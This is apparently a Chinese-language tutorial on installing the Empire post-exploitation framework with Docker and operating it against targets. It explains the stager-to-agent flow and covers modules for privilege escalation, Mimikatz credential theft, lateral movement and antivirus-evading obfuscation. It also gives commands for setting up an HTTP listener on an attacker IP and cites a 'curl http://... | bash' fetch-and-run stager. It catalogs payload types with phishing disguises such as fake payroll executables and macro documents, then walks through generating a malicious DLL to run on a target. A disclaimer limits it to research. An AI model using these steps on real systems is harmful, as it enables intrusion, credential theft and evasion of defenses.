Empire--安装、使用
用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
一、工具背景与发展
Empire 整合了原有的 PowerShell Empire 和 Python EmPyre 项目,由 BC Security 开发并维护。尽管官方已停止更新,但社区仍在持续贡献,截至 2025 年 7 月,其 GitHub 仓库仍有活跃提交,例如 Starkiller GUI 的整合和新模块支持。该工具最初用于红队演练,现广泛应用于渗透测试、安全研究和教育领域。
二、基本介绍
- 定位:后渗透测试工具(区别于漏洞扫描工具,主要用于入侵后对目标系统的控制与利用)。
- 核心功能:支持生成恶意 payload、建立加密通信通道(C2)、执行模块化攻击(如权限提升、凭证窃取、持久化等)。
- 特点:
- 基于 PowerShell,无需额外安装程序,隐蔽性强;
- 模块化设计,支持自定义攻击模块;
- 支持多平台(以 Windows 为主,也可扩展至 Linux/macOS);
- 通信加密(如 HTTPS),逃避流量检测
三、工作原理
PowerShell Empire 的核心原理是利用 PowerShell 的原生特性(系统自带、高权限)实现 “无文件攻击”,其工作流程可分为以下几步:
监听器(Listener)配置
攻击机(控制端)设置监听器,指定通信协议(如 HTTP/HTTPS)、IP 和端口,用于接收目标主机的连接。监听器会生成一个唯一标识,用于后续与目标的通信验证。生成 Stager(初始载荷)
根据监听器配置,生成轻量的初始 payload(Stager),通常是一段 PowerShell 命令或小型可执行文件。Stager 的作用是在目标主机上执行后,主动连接攻击机的监听器,并下载更复杂的核心模块(Stage)。目标执行 Stager
通过社会工程学(如钓鱼邮件)或漏洞利用(如远程代码执行)让目标主机执行 Stager。Stager 执行后,会在目标内存中加载 Stage(避免写入磁盘,减少被检测的概率)。建立 Agent(会话)
Stage 加载后,目标主机与攻击机的监听器建立持久化通信通道,生成一个 “Agent”(会话)。攻击机可通过 Agent 向目标发送指令。执行模块(Module)
攻击机通过 Agent 调用 Empire 的内置模块(如privilege escalation
提权、credentials
窃取密码、lateral_movement
横向移动等),实现对目标系统的深度控制。
四、核心功能与特点
跨平台支持
- Windows:通过纯 PowerShell 2.0 代理运行,无需
powershell.exe
进程即可执行代码,降低被检测风险。 - Linux/OS X:基于 Python 2.6/2.7 实现代理,支持隐蔽通信和权限提升。
- Windows:通过纯 PowerShell 2.0 代理运行,无需
模块化设计
- 内置超过 150 个后渗透模块,覆盖信息收集(如
sysinfo
)、权限提升(如bypassuac
)、凭证窃取(如mimikatz
)、持久化(如注册表注入、计划任务)等功能。 - 支持动态加载自定义模块,用户可根据需求扩展功能。
- 内置超过 150 个后渗透模块,覆盖信息收集(如
隐蔽通信机制
- 采用 AES-256 和 RSA 加密通信,避免流量被拦截或分析。
- 支持多种 C2 协议(如 HTTP、DNS),可自定义 User-Agent、证书和通信路径以绕过检测。
免杀与规避技术
- 通过混淆 PowerShell 代码、修改
invokeEmpire
函数名等方式绕过防病毒软件(如 Windows Defender)。 - 提供无文件执行能力,部分模块可在内存中运行,减少磁盘痕迹。
- 通过混淆 PowerShell 代码、修改
灵活的任务管理
- 支持多代理并发控制,可通过控制台或 Starkiller GUI 远程操作。
- 任务队列化设计,支持批量执行命令(如
shell
、upload
、download
)并实时回传结果。
五、安装
这里我们使用docker直接拉取安装,更快,省去配置环境,只要配置好docker就好,docker安装这里就不再展示,安装命令如下所示
docker pull bcsecurity/empire:latest
从 Docker 仓库拉取最新版本的 Empire 镜像。docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest
启动 Empire 服务器容器,映射 1337 和 5000 端口并进入交互模式。docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest client
启动 Empire 客户端容器,映射端口并进入交互模式。docker container ls
列出当前正在运行的所有 Docker 容器。docker exec -it {container-id} ./ps-empire client
在指定运行的容器中启动 Empire 客户端。docker pull bcsecurity/empire:latest
再次拉取最新版本的 Empire 镜像以确保更新。docker create -v /empire --name data bcsecurity/empire:latest
创建名为 data 的 Empire 数据卷容器用于持久化存储。docker run -it -p 1337:1337 -p 5000:5000 --volumes-from data bcsecurity/empire:latest
启动 Empire 服务器容器,挂载 data 数据卷并映射端口。docker run -it -p 1337:1337 -p 5000:5000 --volumes-from data --entrypoint /bin/bash bcsecurity/empire:latest
启动容器并直接进入 bash 终端(而非默认服务),同时挂载 data 数据卷。
安装好使用docker ps -a来查看容器,并找到COMMAND中含有/bin/bash的命令所对应的ID
然后使用如下命令启动,进入已运行的服务器容器:
docker exec -it <服务器容器ID> /bin/bash
然后使用如下命令启动
./empire
六、使用
先通过help查看帮助
介绍一下这些模块
1. 核心交互类
命令 | 作用 | 场景举例 |
---|---|---|
agents | 进入 Agent 管理菜单(Agent 是目标机上的控制会话)。 | 查看所有在线目标、筛选 Agent、管理会话(如休眠、删除)。 |
interact | 与指定 Agent 交互(进入目标机的命令行上下文)。 | interact A1B2C3 → 对某台已上线的 Windows 主机执行提权、窃密等操作。 |
list | 列出活跃的 Agent 或监听器(Listener)。 | list agents 看哪些目标在线;list listeners 检查监听是否正常运行。 |
2. 监听器(Listener)管理
命令 | 作用 | 场景举例 |
---|---|---|
listeners | 进入 监听器配置菜单(控制端接收 Agent 连接的入口)。 | 创建 HTTP/HTTPS 监听(躲避防火墙)、设置反向代理、调整通信加密参数。 |
(可执行 uselistener http 配置协议,execute 启动监听) | 比如配置 https 监听,让目标机通过加密通道回连,避免流量被检测。 |
3. 模块与攻击
命令 | 作用 | 场景举例 |
---|---|---|
usemodule | 加载并使用 攻击模块(提权、窃密、横向移动等核心功能)。 | - usemodule privesc/powerup/allchecks :检测目标机提权漏洞(如 UAC 绕过);- usemodule credentials/mimikatz :用 Mimikatz 窃取明文密码。 |
searchmodule | 搜索模块(按名称或功能过滤,如 searchmodule lateral 找横向移动模块)。 | 快速定位所需功能(如 lateral_movement/invoke_wmi 用于 WMI 横向渗透)。 |
load | 从自定义目录加载模块(非默认路径的第三方 / 自制模块)。 | 加载自己编写的漏洞利用模块(如针对新漏洞的提权脚本)。 |
4. 凭证与持久化
命令 | 作用 | 场景举例 |
---|---|---|
creds | 管理 凭证数据库(存储窃取的账号、密码、哈希)。 | 查看从目标机窃取的域管理员密码,用于后续横向移动(如 psexec 登录其他主机)。 |
preobfuscate | 预混淆 PowerShell 代码(躲避杀毒软件检测)。 | 将攻击模块的脚本混淆(如变量名随机化、Base64 编码),降低被 EDR 拦截的概率。 |
5. 自动化与报告
命令 | 作用 | 场景举例 |
---|---|---|
resource | 从文件批量执行命令(类似脚本自动化)。 | 编写包含 “配置监听→生成 Stager→执行攻击” 的命令文件,一键自动化测试。 |
report | 生成 测试报告(CSV 格式的会话、凭证日志,Master 操作日志)。 | 渗透结束后导出报告,复盘攻击流程、收集的凭证等数据。 |
6. 扩展与配置
命令 | 作用 | 场景举例 |
---|---|---|
plugin | 加载 插件(扩展 Empire 功能,如集成新 C2 协议、日志系统)。 | 安装 “Slack 通知插件”,让 Empire 在 Agent 上线时发送消息到工作区。 |
plugins | 列出 已加载 / 可用插件,查看扩展功能状态。 | 检查是否成功加载 “流量加密插件”,确保通信安全。 |
set/reset/show | 设置 / 重置 / 查看 全局选项(如 IP 白名单、监听端口)。 | - set IPWhitelist 192.168.1.0/24 :限制仅内网 IP 可连接监听器;- show IPWhitelist :查看当前白名单。 |
7. 载荷生成(Stager)
命令 | 作用 | 场景举例 |
---|---|---|
usestager | 生成 初始载荷(Stager)(让目标机主动连接监听器的代码)。 | - usestager windows/powershell :生成 PowerShell 命令,目标执行后上线;- usestager windows/hta :生成 HTA 文件(钓鱼攻击用)。 |
这里主要演示监听器的创建,木马的生成,其它模块的使用这里不再展示。
监听器的创建
# 进入监听器配置界面
empire > listeners# 选择监听器类型(如 http)
listeners > uselistener http
listeners > info #查看需要配置的信息# 配置监听器参数(攻击机 IP 和端口)
http > set Host http://192.168.1.100 # 攻击机 IP(或域名)
http > set Port 8080 # 监听端口
http > set Name mylistener # 监听器名称(自定义)# 启动监听器
http > executehttp > back #成功后退出
http > list #查看监听器
生成木马(Stager(目标执行的 payload))
Stager 是让目标主动连接监听器的 “引子”,以 Windows 为例:
# 返回主界面,进入 stager 配置
empire > back
empire > usestager+空格+点击两次tab键查看能够生成哪些木马
介绍一下这些木马
1. Multi 系列(跨平台,适配 Linux/UNIX 环境)
命令 | 攻击载体 | 核心特点 | 适用场景举例 | |
---|---|---|---|---|
multi/bash | Bash 脚本 | 输出一行 bash 命令(如 `curl http://... | bash`),直接在终端执行。 | 已控 Linux 主机,快速横向移动。 |
multi/launcher | 单行命令启动器 | 精简命令,减少字符数(适合复制粘贴攻击,如钓鱼邮件里的 “一键执行” 命令)。 | 社工攻击(让目标复制终端命令)。 | |
multi/macro | Office 宏代码 | 生成 Word/Excel 宏,目标启用宏后执行。 | 钓鱼文档(伪装成 “报表.doc”)。 | |
multi/pyinstaller | Python 打包可执行文件 | 用 PyInstaller 打包成独立 EXE(跨平台,依赖 Python 环境)。 | 伪装成 “数据分析工具.exe”。 | |
multi/var | 环境变量注入 | 将 Stager 嵌入环境变量,绕过命令行内容检测。 | 目标系统对命令行内容扫描严格时。 |
2. OSX 系列(针对 macOS)
命令 | 攻击载体 | 核心特点 | 适用场景举例 |
---|---|---|---|
osx/applescript | AppleScript 脚本 | 利用 macOS 原生脚本引擎,输出 .scpt 文件,双击执行。 | 伪装成 “系统优化.scpt”。 |
osx/application | macOS 应用(.app) | 打包成伪应用,用户双击时触发 Stager(可自定义图标,更逼真)。 | 钓鱼攻击(伪装成 “更新程序.app”)。 |
osx/ducky | USB 橡皮鸭脚本 | 生成 USB Rubber Ducky 按键脚本,物理插入 U 盘自动执行(模拟键盘输入)。 | 物理接触 macOS 设备(如办公电脑)。 |
osx/jar | Java JAR 文件 | 依赖 Java 环境,执行 java -jar xxx.jar 触发。 | 目标机安装 Java 开发环境时。 |
osx/macho | Mach-O 二进制文件 | macOS 原生可执行文件,直接运行无依赖,隐蔽性高。 | 高级渗透(避免脚本检测)。 |
osx/pkg | macOS 安装包(.pkg) | 伪装成软件安装包,安装时触发 Stager(可获取管理员权限)。 | 诱骗用户安装 “正版软件.pkg”。 |
osx/safari_launcher | Safari 浏览器利用 | 针对 Safari 漏洞,访问网页时自动执行(需浏览器存在可利用漏洞)。 | 钓鱼网站(诱骗目标访问恶意页面)。 |
osx/teensy | Teensy 硬件脚本 | 针对 Teensy 开发板(硬件攻击设备),模拟键盘输入执行命令。 | 物理渗透(插入 Teensy 设备)。 |
3. Windows 系列(最复杂,覆盖全攻击链)
命令 | 攻击载体 | 核心特点 | 适用场景举例 |
---|---|---|---|
windows/dll | DLL 文件 | 用 rundll32.exe 加载(如 rundll32.exe xxx.dll,entry ),利用系统原生工具。 | 绕过杀软(DLL 加载行为常见)。 |
windows/ducky | USB 橡皮鸭脚本 | 同 OSX,模拟键盘输入在 Windows 终端执行命令(物理攻击)。 | 物理接触 Windows 主机(如网吧)。 |
windows/hta | HTA 文件 | HTML 应用程序,双击以高权限执行(类似 EXE,可嵌入网页代码)。 | 钓鱼邮件(“系统更新.hta”)。 |
windows/bunny | Rabbit Hole 硬件脚本 | 针对 Rabbit Hole 攻击设备,模拟键盘输入执行。 | 物理渗透(专业硬件攻击)。 |
windows/csharp_exe | C# 编译 EXE | 自定义图标 / 描述,伪装成正常程序(如 “工资单.exe”)。 | 社工攻击(诱骗用户运行)。 |
windows/launcher_bat | BAT 批处理 | 批处理文件,执行后调用 PowerShell 或命令行连接监听器。 | 命令行环境渗透(如服务器远程管理)。 |
windows/launcher_lnk | 快捷方式(.lnk) | 伪装成程序快捷方式,点击时触发 Stager(可修改图标,更逼真)。 | 桌面快捷方式替换攻击。 |
windows/launcher_scf | SCF 文件 | Windows 资源管理器脚本,双击时自动执行(利用系统特性,隐蔽性极高)。 | 共享文件夹投毒(如局域网共享文件)。 |
windows/launcher_vbs | VBS 脚本 | 用 wscript.exe 执行,老旧系统默认启用,防护少。 | 针对未打补丁的 Windows XP 等。 |
windows/macro | Office 宏 | Word/Excel 宏,目标启用宏后执行(经典钓鱼手段)。 | 钓鱼文档(“财务报表.doc”)。 |
windows/macroless_msword | 无宏 Word 漏洞利用 | 利用 Word 漏洞(如 CVE-2017-11882),无需启用宏,直接触发(bypass 宏警告)。 | 高级钓鱼(绕过敏感用户对宏的警惕)。 |
windows/shellcode | Shellcode 机器码 | 原始机器码,配合漏洞利用(如缓冲区溢出)注入进程执行(无文件落地)。 | 0day 漏洞攻击(内存中执行)。 |
windows/teensy | Teensy 硬件脚本 | 同 OSX,针对 Windows 模拟键盘输入。 | 物理渗透(插入 Teensy 设备)。 |
windows/wmic | WMIC 命令 | 通过 Windows 管理工具 wmic 执行,权限高且原生支持(适合横向移动)。 |
这里我们生成一个dll文件,命令如下
(Empire: listeners) > usestager windows/dll
(Empire: stager/windows/dll) > info #查看需要的条件
(Empire: stager/windows/dll) > set Listener jieyu #配置监听器
(Empire: stager/windows/dll) > execute #生成
使用如下命令将文件输出到服务器,然后将其放到目标机运行即可
# 格式:docker cp 容器ID:容器内文件路径 宿主机目标路径
docker cp abc123:/app/output/result.txt /data/from_container/
然后监听器就会自动上线主机,这里不再展示。
empire是一款强大的后渗透工具,比如横向移动,Hash抓取,域控渗透等,在这些方面功能尤为强大,这里就不再展示了。